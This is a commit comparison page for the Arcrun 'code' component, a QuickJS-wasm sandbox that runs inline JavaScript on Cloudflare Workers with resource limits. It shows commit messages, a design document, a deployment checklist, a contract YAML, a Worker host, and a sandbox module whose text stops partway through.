Compare commits

..

8 Commits

Author SHA1 Message Date
Leo 4439880bbd merge: 機械 wiki ingest workflow(Arcrun#8)——code 節點 card→envelope,Phase B live 驗過 2026-07-06 05:48:10 +00:00
Leo b87c18df60 fix(km-wiki-ingest): code 節點 post 前剝除 envelope 的 _estSubrequests(graph strict schema)
leo21c 實 ingest 發現:graph /triplets/ingest 為 strict schema,會以 422
unrecognized_keys 拒絕 planEnvelopes 掛在 envelope 上的診斷鍵 _estSubrequests。
修:parse_card 內聯碼在 return 前把每個 envelope 的所有 _-前綴鍵剝除,使
post_one_envelope 的 body_json={{envelope}} 為 ingest-candidate 契約乾淨 payload
(source/extractor/nodes/triplets)。已驗:剝除後 entry/nodes/triplets 與原
planCard 逐欄一致。實 ingest(直接驅動同資料流)已用此剝除成功寫入 15 triplets。

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
2026-07-06 05:38:10 +00:00
Leo 08a79229a5 fix(code): Workers 實部署修正 —— wasmfile+Module 載入 + tick-budget timeout(CF 實測)
leo21c 實部署發現兩個 CF 限制並修正:
1. CF 禁 runtime 從 bytes 編譯 wasm(WebAssembly.instantiate(bytes) 被 embedder 擋)
   → singlefile(base64) 內嵌不可用。改 wasmfile variant + `import wasm from './vendor/quickjs.wasm'`
   (wrangler CompiledWasm rule 綁成預編 WebAssembly.Module),newVariant({wasmModule}) 注入。
   sandbox 改 variant 注入制(setVariant):Worker 注 wrangler Module、Node 由 bytes 建 Module,
   同一 production 路徑受測。vendor/quickjs.wasm 由 postinstall 自 node_modules 複製(gitignored)。
2. CF 凍結同步執行期 Date.now → wall-clock deadline 對純同步迴圈失效(撞 CF CPU 回 1102)。
   改指令計數 interrupt(max_ticks,CF-safe),wall-clock 留 Node 保護。校準:cadence≈5000
   指令/tick、真實 card 解析≈4 ticks、CF 門檻≈1000+ ticks → 預設 max_ticks=500。
   有 body 的迴圈(含 100M 迴圈)皆乾淨回 TimeoutError;空體 while(true){} 仍由 CF CPU guard 容納。

Worker live: arcrun-code.leo21c.workers.dev(cypher-executor 以此 workers.dev 慣例位址呼叫)。
Node 單測 12/12 綠(wasmfile variant + 注入 Module,同 production 路徑)。

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
2026-07-06 05:15:50 +00:00
Leo 1a7b4639c3 docs(code): DESIGN.md 更新為「裁定 A、Workers 就緒」的最終狀態
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
2026-07-06 04:51:39 +00:00
Leo d93dc4e350 feat(km-wiki-ingest): parse_card 改用通用 code 零件;刪 domain 零件 km_wiki_card_parse
Arcrun#10 裁定:一次性解析走通用逃生口,不再鑄 domain 零件。

- workflow.yaml:parse_card 由 component:km_wiki_card_parse -> component:code,
  config.code 內聯 card-to-envelope 的 planCard 邏輯(去 import/export、raw NUL
  分隔符改 u0000 escape、改用 code 沙箱注入的 sha256);下游 refs 改 parse_card.data.*;
  加 limits(timeout_ms/max_output_bytes)。已端到端驗證(YAML 解析->JS eval)與原
  planCard 輸出逐欄全等(含 content_hash)。
- 刪 registry/examples/km-wiki-ingest/component-contract.yaml(km_wiki_card_parse 契約)。
- lib/card-to-envelope.mjs:header 改述為「code 節點內聯 JS 的權威來源 + 參考實作」,
  邏輯不變(續為 inline JS 之單一真相源)。
- lib/dry-run.mjs / description.md:框架改述為 code-節點形態;部署清單更新為「部署通用
  code 零件」。dry-run-evidence.json(3 entries/15 triplets/16 nodes)不變——解析輸出等價。

不部署、不寫 live。留分支可部署狀態。

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
2026-07-06 04:50:08 +00:00
Leo efa0b0578c feat(code): Workers 就緒化(裁定 A)—— singlefile variant + 純 JS SHA-256 prelude
- 沙箱改用 quickjs-emscripten singlefile variant(wasm 內嵌 base64、同步載入),
  CF Workers 相容;sandbox.mjs 成 Node/Worker 共用 runtime-agnostic 核心。
- sha256 curated builtin 改「純 JS SHA-256 prelude 字串注入」,去掉 node:crypto /
  async Web Crypto host-call,Node/Worker 皆決定性(card content_hash 逐字等價)。
- index.ts 成可部署 Worker host(Hono,POST /→runCode),自足不走 TinyGo 模板流程。
- 補 wrangler.toml(arcrun-code / code.arcrun.dev)、tsconfig、DEPLOY.md。
- contract stability 修為 floating(過 registry zod schema 驗證)。
- 單測 12/12 全綠(含 card→envelope 與原模組 planCard 逐欄全等)。

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
2026-07-06 04:39:28 +00:00
Leo 60f5f10ba5 feat(code): 新增通用 code 零件(sandbox inline JS)—— Arcrun#10 設計+PoC
n8n Code node 式逃生口:config 帶 inline JS、stdin 帶 input JSON、
stdout 回 {success,data}|{success:false,error,error_type}。

沙箱=QuickJS-wasm:user JS 跑在 QuickJS context,global 只有純 ECMAScript
內建 + 唯一 curated builtin sha256(純函式);碰不到網路/檔案/env/secret/
Worker 物件圖。資源上限:timeout(interrupt)/memory/stack/output/code size。

本輪=設計+PoC,未部署 leo21c。sandbox.mjs + test/ 為 Node/vitest 可跑實作
(12 測試全綠,含 card→envelope 與原模組 planCard 逐欄全等)。index.ts 為
Worker host 骨架、DESIGN.md 記錄機制/安全性質/生產路徑/設計岔路(A/B)。

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
2026-07-06 04:27:15 +00:00
Arcrun CC cc494a250e feat(ingest): 機械式 wiki 卡片→KBDB ingest(Arcrun#8 Phase A,dry-run 驗證)
新 ingest 模型(無 LLM,取代舊 raw→Haiku 路):
- 來源 = system-dev/wiki/cards/**/*.md(精耕卡)+ ## 實體/## 關聯 typed-edge + [[wikilink]]
- 卡片→base entry(metadata.embed=true);typed-edge/wikilink→graph triplet
- 純機械決定性,零 token

形式 = Arcrun workflow(cron drain + Gitea webhook delta)+ 新自訂零件 km_wiki_card_parse

不撞頂設計:一卡一 tick + 超大卡以 source_uri anchor 自動分段;
graph fan-out 精確 = 7+4N+M+D,dry-run 對 notes 三卡上限 33 subrequest(<50)。

Phase A:不部署、不寫 live。含純核心 + dry-run 證據(3 entries/15 triplets/16 nodes)。

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
2026-07-06 03:52:50 +00:00
21 changed files with 4537 additions and 0 deletions
+48
View File
@@ -0,0 +1,48 @@
# `code` 零件 —— 部署清單(過閘用;本輪不執行)
> 封裝=Aquickjs-emscripten singlefile variant)。`code` 是**自足 Worker**,不走
> `deploy-logic-components.sh`(那條是 TinyGo-wasm 專用)。以下由 leo 過閘後執行。
## 1. 部署 code Workerwrangler,禁 acr update
```bash
cd registry/components/code
npm install # 裝 hono + quickjs-emscripten-core + singlefile variant
npm test # 12 測試須綠(部署前 gate
npx wrangler deploy # → arcrun-coderoute code.arcrun.dev/*
```
- Worker 名:`arcrun-code`route`code.arcrun.dev/*`(見 `wrangler.toml`)。
- **無需注入任何 secret/env**`code` 零件不碰網路/envWorker 本身零 binding。
- 冷啟:quickjs wasm 內嵌 base64、同步 instantiate;首個請求 instantiate 一次後 module 快取。
## 2. 註冊到 registry index
```bash
REGISTRY_URL=https://registry.arcrun.dev bash registry/scripts/register-component.sh code
```
- contract 已過 zod schema 驗證(`stability: floating``category: logic`
`io_model: stdin_stdout_json``gherkin_tests` ≥2)。
- `sandbox_limits` / `config_example` 為 yaml 內文件欄位,registry index 會 strip(不影響)。
## 3. 冒煙驗證(部署後)
```bash
# 基本
curl -s https://code.arcrun.dev/ | jq # {ok:true, component:"code"}
curl -s -X POST https://code.arcrun.dev/ -H 'content-type: application/json' \
-d '{"code":"return {sum: input.a + input.b};","input":{"a":2,"b":40}}' | jq
# → {"success":true,"data":{"sum":42}}
# 隔離
curl -s -X POST https://code.arcrun.dev/ -H 'content-type: application/json' \
-d '{"code":"return typeof fetch;","input":{}}' | jq
# → {"success":true,"data":"undefined"}
```
## 4. 依賴的下游(Arcrun#8 workflow —— 另一分支)
`code` 零件是 `km_wiki_ingest_drain` workflow 的前置。workflow 在
`feat/issue-8-mechanical-wiki-ingest` 分支,以 `component: code` 引用本零件(registry 解析),
不需本零件檔案同分支。issue-8 的部署與 notes 寫入量見該分支 `DEPLOY.md` /
本輪回報的「一次過閘清單」。
+90
View File
@@ -0,0 +1,90 @@
# `code` 零件 —— 沙箱設計小結(Arcrun#10)
> 狀態:**Workers 就緒(裁定 A,可部署)**Node/vitest 12/12 綠燈,**未部署 leo21c**。live 前需總管與 leo 過寫入/部署閘。封裝=Aquickjs-emscripten singlefile variant);B(自建 QuickJS+wasi-sdk)列後續技術債。
## 0. arcrun 零件 runtime 真相(先摸清再設計)
- 每個 logic 零件 = **一顆 Worker**`{name}.arcrun.dev`),POST JSON → 內部跑 wasm → JSON 回傳。
- 零件實作 = **Go`//go:build tinygo`)→ TinyGo 編成 WASI-preview1 wasm**build 時靜態 bundle 進 Worker`wrangler.toml [[wasm_modules]]`)。
- host`component-worker-template/src/index.ts`**用 TS 自己實作一份 WASI-preview1 shim**`fd_read` 餵 stdin= POST body 的 JSON)、`fd_write` 收 stdout= 回傳 JSON)。
- `no_network` / `no_filesystem` **不是靠 wasm 自律,是 host 根本不提供那些 import**`sock_*` / `path_*` 全回 `ENOSYS(76)``u6u.http_request` no-op。→ 零件對外「無 ambient 能力」是**由 host 建構保證**的。
- runtime 是 **workerd(=cf-workers**contract 的 `wazero` 只是相容標記(本機/CLI 測試路徑),生產不經 wazero。
**關鍵結論**host 只認 WASI-preview1 + stdin/stdout JSON**與 guest 語言無關**。所以載入「QuickJS 編成的 wasm」與載入 TinyGo wasm 在 runtime 層是同一件事 —— **QuickJS-wasm 可行,且完全合現有零件模型**。差別只在 guest 從「TinyGo」換成「QuickJS」,且 user 的 JS 是「跑時餵進去的資料」而非「build 時編進去的程式」。
## 1. 沙箱機制
user JS 跑在 **QuickJS context** 裡,該 context 三層封裝、逐層無逃逸:
```
Cloudflare Worker isolateV8
└─ QuickJS wasm module(線性記憶體沙箱;無 WASI 網路/檔案 import
└─ QuickJS JS contextglobal 只有純 ECMAScript 內建)
└─ user code:讀 input、return 值
```
- **無 ambient 能力(by construction**QuickJS context 起始 global 只有 `Object/Array/JSON/Math/Date/String/RegExp…`**沒有** `fetch/process/require/WebAssembly/XMLHttpRequest/globalThis.env`。要給的能力必須 host 明確、逐一注入。
- **唯一注入的 curated builtin**`sha256(str)`(純、決定性、零能力 —— 不能碰網路/檔案/secret)。card→envelope 的 content_hash 需要它。任何新 builtin 都必須維持「純函式、無 ambient 能力」這條線。
- **input 穿越邊界**:以 JSON 字串 marshal,沙箱內 `JSON.parse` —— host 與 guest **不共享物件圖**,杜絕 prototype/引用逃逸。
- **user code 形狀**:當「函式體」跑(可含 `const`/`function` 宣告、以 `return` 回值),綁定唯一入參 `input`。回值 `JSON.stringify` 後交回 host。
## 2. 生產路徑(裁定 A,已就緒)
`sandbox.mjs`**runtime-agnostic 核心**Node 測試與 CF Worker **共用同一份**
- **封裝**`@jitl/quickjs-singlefile-mjs-release-sync` variantwasm 內嵌 base64、同步載入)
—— CF Workers 相容 loading 路徑(不靠 fetch/fs 取 .wasm),bundler 友善、無需 `[[wasm_modules]]`
- **`sha256` curated builtin**:以**純 JS SHA-256 字串 prelude** 注入沙箱(不呼叫 host、不用 async
Web Crypto、不需 `nodejs_compat`),Node/Worker 皆決定性;與 Node crypto sha256 逐字等價
(測試 ⑤ 對 card 全文比對 content_hash 相同)。「curated builtin = 純演算法字串」定為往後標準。
- **Worker host**`index.ts`HonoPOST /→`runCode`),自足 Worker,不走 TinyGo 模板流程。
- **測試**`sandbox.mjs` + `test/`**Node/vitest 12/12 全綠**(含 card→envelope 全等)。
- **與 B 的差**B(自建 QuickJS+wasi-sdk→preview1 wasm,跑現有 WASI host shim)最同構,但需
wasi-sdk 工具鏈(本環境無 sysroot)+維護 C harness,列後續技術債。
## 3. 資源限制(防跑飛)
| 限制 | 機制 | 預設 |
|---|---|---|
| 執行 timeout | QuickJS runtime `setInterruptHandler`(逐指令檢查 wall-clock deadline | 1000 ms |
| 記憶體 | `setMemoryLimit`QuickJS runtime 硬上限) | 16 MiB |
| 堆疊 | `setMaxStackSize`(防深遞迴) | 512 KiB |
| 輸出大小 | host 量測 stdout JSON bytes,超限即 `ResourceError` | 1 MiB |
| code 大小 | host 量測 user code bytes,超限即 `ResourceError` | 256 KiB |
節點 config 可覆蓋(但不得放寬過契約 `sandbox_limits` 硬上限 —— 由零件在讀 config 時 clamp)。
## 4. 錯誤處理(Worker 絕不掛)
一律回結構化 envelope`error_type` 分類:
- `UserCodeError`user code 拋錯 / 語法錯誤。
- `TimeoutError`:超時被 interrupt。
- `ResourceError`:記憶體 / 輸出 / code 超限。
- `ContractError`:輸入形狀不合(如 code 非字串)。
- `SandboxError`:其餘沙箱層例外。
## 5. 安全性質(總結)
1. user code **無網路**:沒有 fetch/XHRQuickJS wasm 也沒有 WASI socket import。
2. user code **無檔案**:沒有 fsWASI path_* 一律 ENOSYS。
3. user code **無 env/secret**:沒有 processWorker 的 `env`bindings/secret)不進 QuickJS context。
4. user code **碰不到 Worker 物件圖**:獨立 wasm 線性記憶體 + 獨立 QuickJS heap + JSON 邊界。
5. **可終止**:timeout/記憶體/輸出上限,跑飛也不拖垮 Worker。
6. **決定性**(除 `Date`/`Math.random`):curated builtin 全是純函式。
## 6. 設計岔路(給總管/leo 裁)
沙箱主機制 = **QuickJS-wasm**(本 PoC 已證可行且合模型)。封裝方式有兩條,取捨如下:
- **A. QuickJS-emscripten 直接在零件 Worker 用(PoC 走這條,推薦先行)**
優點:本環境即可跑、npm 現成、限制 API 齊(timeout/mem/stack)、已在 Workers 驗證過可用。
缺點:不經現有 TinyGo-wasm 的 `[[wasm_modules]]` + 自建 WASI shim 路徑,是零件家族裡的「特例封裝」。
- **B. 自建 QuickJS+C-harness → wasi-sdk 編成 preview1 wasm,跑在現有 host shim(最「同構」)**
優點:與其他零件同一條 runtime(同 WASI shim),`wasi_target: preview1` 名副其實,「無 ambient 能力」最純。
缺點:需要 wasi-sdk 工具鏈(**本環境無 sysroot,無法即刻 build**)、要維護一段 C harness。
**建議**:先以 A live(快、已驗證),把 B 列為後續「收斂到同構 runtime」的技術債。若總管要求所有零件單一 runtime,則走 B,但需先補 wasi-sdk build 基礎設施。**此為安全敏感原語,機制選定請總管拍板再 live。**
## 7. 首個消費者(Arcrun#8
`km_wiki_ingest_drain` 的 card→envelope 解析,把 `card-to-envelope.mjs``parseCard`/`planEnvelopes`/`planCard` 當作 `code` 節點的 inline JS(去掉 `import 'node:crypto'``export`,改用注入的 `sha256`)。PoC 測試 ⑤ 已證:**沙箱輸出與原始模組 `planCard` 逐欄全等**(含 content_hash)。→ 可丟掉 domain 零件 `km_wiki_card_parse`
@@ -0,0 +1,78 @@
canonical_id: "code"
display_name: "程式碼(沙箱 inline JS"
category: "logic"
version: "v1"
wasi_target: "preview1"
stability: "floating"
runtime_compat:
- "cf-workers"
- "workerd"
constraints:
max_size_kb: 2048
max_cold_start_ms: 80
no_network_syscall: true
no_filesystem_syscall: true
io_model: "stdin_stdout_json"
# --- 沙箱資源上限(可被節點 config 的 limits 覆蓋,但不得放寬過硬上限)---
sandbox_limits:
timeout_ms: 1000
memory_bytes: 16777216 # 16 MiB
max_stack_bytes: 524288 # 512 KiB
max_output_bytes: 1048576 # 1 MiB
max_code_bytes: 262144 # 256 KiB
input_schema:
type: object
required: [code]
properties:
code:
type: string
description: "一段 inline JS(函式體)。可讀綁定的 `input`,以 `return` 回傳一個 JSON-able 值。碰不到網路/檔案/env/secret。"
input:
description: "上游資料(任意 JSON),在沙箱內綁為全域 `input`。"
limits:
type: object
description: "選填,覆蓋預設資源上限(不得超過契約 sandbox_limits 硬上限)。"
properties:
timeout_ms: { type: number }
memory_bytes: { type: number }
max_output_bytes: { type: number }
output_schema:
type: object
properties:
success:
type: boolean
data:
description: "user code 的回傳值(success=true 時)。"
error:
type: string
description: "success=false 時的錯誤訊息。"
error_type:
type: string
enum: [UserCodeError, TimeoutError, ResourceError, ContractError, SandboxError]
gherkin_tests:
- scenario: "基本 sum"
given: '{"code":"return {sum: input.a + input.b};","input":{"a":2,"b":40}}'
then_contains: '"sum":42'
- scenario: "沙箱隔離:碰不到 fetch"
given: '{"code":"return typeof fetch;","input":{}}'
then_contains: '"data":"undefined"'
- scenario: "user code 拋錯 → 結構化 error"
given: '{"code":"throw new Error(\"boom\");","input":{}}'
then_contains: '"success":false'
tags: [builtin, logic, code, sandbox, javascript, escape-hatch]
description: >
通用「程式碼逃生口」。跑一段 sandbox inline JSn8n Code node 式):
config 帶 `code`inline JS 函式體),stdin 帶 `input`(上游 JSON),
stdout 回 `{success, data}` 或 `{success:false, error, error_type}`。
user code 在 QuickJS-wasm 沙箱內執行,只有純 ECMAScript 內建 + host 明確注入的
curated builtin(目前:純函式 sha256),碰不到網路/檔案/env/secret/Worker 物件圖。
用於一次性/小段程式邏輯(如卡片→envelope 文字處理),避免各自鑄 domain 零件。
config_example: |
my_code: # 節點名稱(可自訂)
code: | # inline JS 函式體(必填);讀 input、return 一個 JSON-able 值
const doubled = input.items.map(x => x * 2);
return { doubled, count: doubled.length };
input: # 上游資料(選填;workflow 可用引用注入)
items: [1, 2, 3]
limits: # 資源上限覆蓋(選填)
timeout_ms: 2000
+61
View File
@@ -0,0 +1,61 @@
/**
* arcrun `code` 零件 —— Worker host(可部署)
*
* POST / → { code, input?, limits? }
* → QuickJS-wasm 沙箱(./sandbox.mjs 的 runCode
* → { success:true, data } | { success:false, error, error_type }
*
* 封裝=Aquickjs-emscripten wasmfile variant)。關鍵:CF Workers 禁止 runtime 從 bytes
* 編譯 wasmWebAssembly.instantiate(bytes) 被 embedder 擋),故不能用 singlefile(base64) 內嵌。
* 改為 `import wasm from '.../wasm'` 讓 wrangler 在 build 時把 .wasm 綁成一個「已編好的
* WebAssembly.Module」,再以 newVariant({ wasmModule }) 注入沙箱 → 執行期只 instantiate 既有
* Module、不編譯,合 Workers 規則。無需 nodejs_compatsandbox 用 TextEncoder 計 bytes)。
*
* 與其他 logic 零件不同:`code` 是自足 Worker(自帶 index.ts + sandbox.mjs + quickjs variant),
* 不走 component-worker-template 的 TinyGo-wasm bundling 流程。部署見 DEPLOY.md。
*/
import { Hono } from 'hono';
import { cors } from 'hono/cors';
import { newVariant } from 'quickjs-emscripten-core';
import baseVariant from '@jitl/quickjs-wasmfile-release-sync';
// wrangler 把相對路徑 .wasm import 綁成 WebAssembly.Modulebuild 時編好,執行期不重編)。
// wasm 從 quickjs-wasmfile-release-sync vendored 進 vendor/(見 DEPLOY.md「vendor 步驟」)。
import wasmModule from './vendor/quickjs.wasm';
// @ts-expect-error —— sandbox.mjs 為 runtime-agnostic JS 核心(Node 測試與 Worker 共用同一份)
import { runCode, setVariant } from './sandbox.mjs';
// 注入預編 Module(模組載入時一次)。之後 runCode 只 instantiate、不編譯。
setVariant(newVariant(baseVariant, { wasmModule: wasmModule as WebAssembly.Module }));
const app = new Hono();
app.use('*', cors());
app.get('/', (c) => c.json({ ok: true, component: 'code' }));
app.post('/', async (c) => {
let body: { code?: unknown; input?: unknown; limits?: Record<string, number> };
try {
body = await c.req.json();
} catch {
return c.json({ success: false, error: 'request body must be JSON', error_type: 'ContractError' }, 400);
}
if (typeof body.code !== 'string') {
return c.json({ success: false, error: 'code (string) is required', error_type: 'ContractError' }, 400);
}
try {
const result = await runCode(body.code, body.input, { limits: body.limits });
// sandbox 永遠回結構化 envelopesuccess=false 仍以 200 帶 error_type 回(零件語義層錯,非 HTTP 錯)
return c.json(result);
} catch (e) {
// 理論上 runCode 自己 try/catch;這層是最後保險,Worker 絕不掛。
return c.json(
{ success: false, error: e instanceof Error ? e.message : String(e), error_type: 'SandboxError' },
500,
);
}
});
export default app;
File diff suppressed because it is too large Load Diff
+24
View File
@@ -0,0 +1,24 @@
{
"name": "arcrun-component-code",
"version": "0.1.0",
"private": true,
"type": "module",
"description": "arcrun code 零件 —— sandbox inline JSQuickJS-wasm, Workers-ready",
"main": "index.ts",
"scripts": {
"postinstall": "node scripts/vendor-wasm.mjs",
"vendor": "node scripts/vendor-wasm.mjs",
"test": "vitest run --config vitest.config.mjs",
"predeploy": "node scripts/vendor-wasm.mjs",
"deploy": "wrangler deploy"
},
"dependencies": {
"@jitl/quickjs-wasmfile-release-sync": "^0.32.0",
"hono": "^4.7.0",
"quickjs-emscripten-core": "^0.31.0"
},
"devDependencies": {
"vitest": "^3.1.0",
"wrangler": "^4.0.0"
}
}
+208
View File
@@ -0,0 +1,208 @@
// arcrun `code` 零件 —— 沙箱核心(runtime-agnosticNode 與 CF Workers 共用同一份)
// ---------------------------------------------------------------------------
// 語義:n8n Code node 式。config 帶一段 inline user JSstdin 帶 input JSON。
// user code 只能:讀 `input`(已解析的 stdin JSON)、回傳一個 JSON-able 值。
// user code 碰不到:網路 / 檔案 / env / secret / Worker 物件圖。
//
// 隔離機制:user JS 跑在 QuickJSJS 直譯器)編成的 wasm sandbox 內。QuickJS
// context 的 global 只有純 ECMAScript 內建(Object/Array/JSON/Math/Date/String…),
// 沒有 fetch / process / require / globalThis.env / WebAssembly / 任何 host binding。
// 要給的能力,只能由 host 明確、逐一注入 —— 目前唯一 curated builtin = 純函式 `sha256`
// 且以「純 JS 演算法字串 prelude」注入(不呼叫 host、不用 async Web CryptoNode/Worker 皆決定性)。
//
// 封裝方式:quickjs-emscripten「wasmfile」variant + 預編 WebAssembly.Module 注入(見下方 setVariant)。
// CF Workers 禁 runtime 從 bytes 編譯 wasm,故不用 singlefile(base64);改由 build 時編好 Module。
//
// 對齊 arcrun 契約:io_model=stdin_stdout_json、no_network_syscall、no_filesystem_syscall。
// wasm 載入以「variant 注入」制:CF Workers 禁止 runtime 從 bytes 編譯 wasm
// WebAssembly.instantiate(bytes) 被 embedder 擋),故必須用「已編好的 WebAssembly.Module」。
// - Workerindex.ts):import 的 .wasm 由 wrangler 綁成 WebAssembly.Module → newVariant 注入。
// - Node/vitest:由 .wasm bytes 建 new WebAssembly.Module(...) → 同一 newVariant 路徑注入。
// 呼叫方必須在 runCode 前 setVariant()。sandbox 本身不綁定任何 variant(不 bundle 錯的 loader)。
import { newQuickJSWASMModuleFromVariant } from 'quickjs-emscripten-core';
let _variant = null;
/** 注入 quickjs variant(已含預編 WebAssembly.Module)。Worker 與 Node 各自注入自己的。 */
export function setVariant(v) { _variant = v; _modulePromise = null; }
export const DEFAULT_LIMITS = {
timeout_ms: 1000, // 牆鐘上限(Node/本機保護;CF 同步執行會凍結 Date.now,故非主保護)
max_ticks: 500, // ★ 指令計數上限(CF 主保護):interrupt 回呼被叫超過此數即中止。
// CF Workers 凍結同步 Date.now → 純同步無窮迴圈只能靠此計數中止。
// 校準(leo21c 實測):interrupt cadence ≈ 5000 指令/tick
// 真實 card 解析 ≈ 4 ticksCF CPU 1102 門檻 ≈ 1000+ ticks。
// 500 ticks(≈ 2.5M 指令)= card 的 125× 餘裕、且穩在 CF 門檻下。
// 需更多算力的 user code 可提高 limits.max_ticks(但別逼近 ~1000)。
memory_bytes: 16 * 1024 * 1024, // QuickJS runtime 記憶體硬上限
max_stack_bytes: 512 * 1024, // 遞迴/深堆疊上限
max_output_bytes: 1024 * 1024, // stdout JSON 大小上限(防跑飛)
max_code_bytes: 256 * 1024, // user code 本身大小上限
};
// --- curated builtin:純 JS SHA-256UTF-8 → hex)。無 host call、無 async。 ---
// 以字串 prelude 注入沙箱,成為沙箱內一般函式 `sha256(str)`。與 Node crypto sha256 等價
// (測試 ⑤ 對 card 全文比對 content_hash 逐字相同)。
const SHA256_PRELUDE = `
function sha256(ascii) {
function rr(n, x) { return (x >>> n) | (x << (32 - n)); }
var mathPow = Math.pow, maxWord = mathPow(2, 32), result = '';
var words = [], asciiBitLength;
var utf8 = [];
for (var ci = 0; ci < ascii.length; ci++) {
var code = ascii.charCodeAt(ci);
if (code < 0x80) utf8.push(code);
else if (code < 0x800) { utf8.push(0xc0 | (code >> 6), 0x80 | (code & 0x3f)); }
else if (code < 0xd800 || code >= 0xe000) { utf8.push(0xe0 | (code >> 12), 0x80 | ((code >> 6) & 0x3f), 0x80 | (code & 0x3f)); }
else {
ci++;
code = 0x10000 + (((code & 0x3ff) << 10) | (ascii.charCodeAt(ci) & 0x3ff));
utf8.push(0xf0 | (code >> 18), 0x80 | ((code >> 12) & 0x3f), 0x80 | ((code >> 6) & 0x3f), 0x80 | (code & 0x3f));
}
}
asciiBitLength = utf8.length * 8;
var hash = sha256.h = sha256.h || [];
var k = sha256.k = sha256.k || [];
var primeCounter = k.length;
var isComposite = {};
for (var candidate = 2; primeCounter < 64; candidate++) {
if (!isComposite[candidate]) {
for (var i2 = 0; i2 < 313; i2 += candidate) isComposite[i2] = candidate;
hash[primeCounter] = (mathPow(candidate, 0.5) * maxWord) | 0;
k[primeCounter++] = (mathPow(candidate, 1 / 3) * maxWord) | 0;
}
}
hash = hash.slice(0, 8);
var bytes = utf8.slice();
bytes.push(0x80);
while (bytes.length % 64 - 56) bytes.push(0x00);
for (var b = 0; b < bytes.length; b++) {
words[b >> 2] |= bytes[b] << ((3 - b) % 4) * 8;
}
words[words.length] = (asciiBitLength / maxWord) | 0;
words[words.length] = asciiBitLength;
for (var j = 0; j < words.length;) {
var w = words.slice(j, j += 16);
var oldHash = hash;
hash = hash.slice(0, 8);
for (var i = 0; i < 64; i++) {
var w15 = w[i - 15], w2 = w[i - 2];
var a = hash[0], e = hash[4];
var temp1 = hash[7]
+ (rr(6, e) ^ rr(11, e) ^ rr(25, e))
+ ((e & hash[5]) ^ ((~e) & hash[6]))
+ k[i]
+ (w[i] = (i < 16) ? w[i] : (
w[i - 16]
+ (rr(7, w15) ^ rr(18, w15) ^ (w15 >>> 3))
+ w[i - 7]
+ (rr(17, w2) ^ rr(19, w2) ^ (w2 >>> 10))
) | 0);
var temp2 = (rr(2, a) ^ rr(13, a) ^ rr(22, a))
+ ((a & hash[1]) ^ (a & hash[2]) ^ (hash[1] & hash[2]));
hash = [(temp1 + temp2) | 0].concat(hash);
hash[4] = (hash[4] + temp1) | 0;
}
for (var i = 0; i < 8; i++) hash[i] = (hash[i] + oldHash[i]) | 0;
}
for (var i = 0; i < 8; i++) {
for (var j = 3; j + 1; j--) {
var b2 = (hash[i] >> (j * 8)) & 255;
result += ((b2 < 16) ? 0 : '') + b2.toString(16);
}
}
return result;
}
`;
let _modulePromise = null;
function getModule() {
if (!_variant) throw new Error('sandbox variant not set — 呼叫 setVariant() 注入預編 WebAssembly.Module');
if (!_modulePromise) _modulePromise = newQuickJSWASMModuleFromVariant(_variant);
return _modulePromise;
}
/**
* 在沙箱內跑一段 user code。
* @param {string} code user 的 inline JS(函式體:可含宣告、以 `return` 回值)
* @param {*} input 已解析的 stdin JSON(會以 `input` 綁進沙箱)
* @param {object} [opts] { limits }
* @returns {Promise<{success:true,data:*}|{success:false,error:string,error_type?:string}>}
*/
export async function runCode(code, input, opts = {}) {
const limits = { ...DEFAULT_LIMITS, ...(opts.limits || {}) };
if (typeof code !== 'string') return err('code must be a string', 'ContractError');
if (byteLen(code) > limits.max_code_bytes) {
return err(`code exceeds max_code_bytes (${limits.max_code_bytes})`, 'ResourceError');
}
const QuickJS = await getModule();
const runtime = QuickJS.newRuntime();
runtime.setMemoryLimit(limits.memory_bytes);
runtime.setMaxStackSize(limits.max_stack_bytes);
const deadline = Date.now() + limits.timeout_ms;
let interrupted = false;
let ticks = 0;
runtime.setInterruptHandler(() => {
// 主保護(CF-safe):指令計數。CF 凍結同步 Date.now,純同步無窮迴圈只能靠此中止。
if (++ticks > limits.max_ticks) { interrupted = true; return true; }
// 次保護(Node/本機):牆鐘 deadline(CF 同步期間不會推進,故僅在有 I/O 或非 CF 生效)。
if (Date.now() > deadline) { interrupted = true; return true; }
return false;
});
const ctx = runtime.newContext();
try {
const inputJson = JSON.stringify(input === undefined ? null : input);
// 包裝:sha256 prelude + input 綁定 + user code 當函式體。回值 JSON.stringify 交回 host。
const wrapped = `(() => {
"use strict";
${SHA256_PRELUDE}
const input = JSON.parse(${JSON.stringify(inputJson)});
const __run = (input) => { ${code}
};
const __out = __run(input);
return JSON.stringify(__out === undefined ? null : __out);
})()`;
const evalResult = ctx.evalCode(wrapped, 'user-code.js');
if (evalResult.error) {
const detail = ctx.dump(evalResult.error);
evalResult.error.dispose();
if (interrupted) return err(`execution aborted: exceeded time (${limits.timeout_ms}ms) or instruction budget (${limits.max_ticks} ticks)`, 'TimeoutError');
const msg = typeof detail === 'object' && detail
? `${detail.name || 'Error'}: ${detail.message || ''}`.trim()
: String(detail);
return err(msg, 'UserCodeError');
}
const outJson = ctx.getString(evalResult.value);
evalResult.value.dispose();
if (byteLen(outJson) > limits.max_output_bytes) {
return err(`output exceeds max_output_bytes (${limits.max_output_bytes})`, 'ResourceError');
}
return { success: true, data: JSON.parse(outJson) };
} catch (e) {
if (interrupted) return err(`execution aborted: exceeded time (${limits.timeout_ms}ms) or instruction budget (${limits.max_ticks} ticks)`, 'TimeoutError');
const m = e instanceof Error ? e.message : String(e);
if (/out of memory|memory/i.test(m)) return err('out of memory', 'ResourceError');
return err(m, 'SandboxError');
} finally {
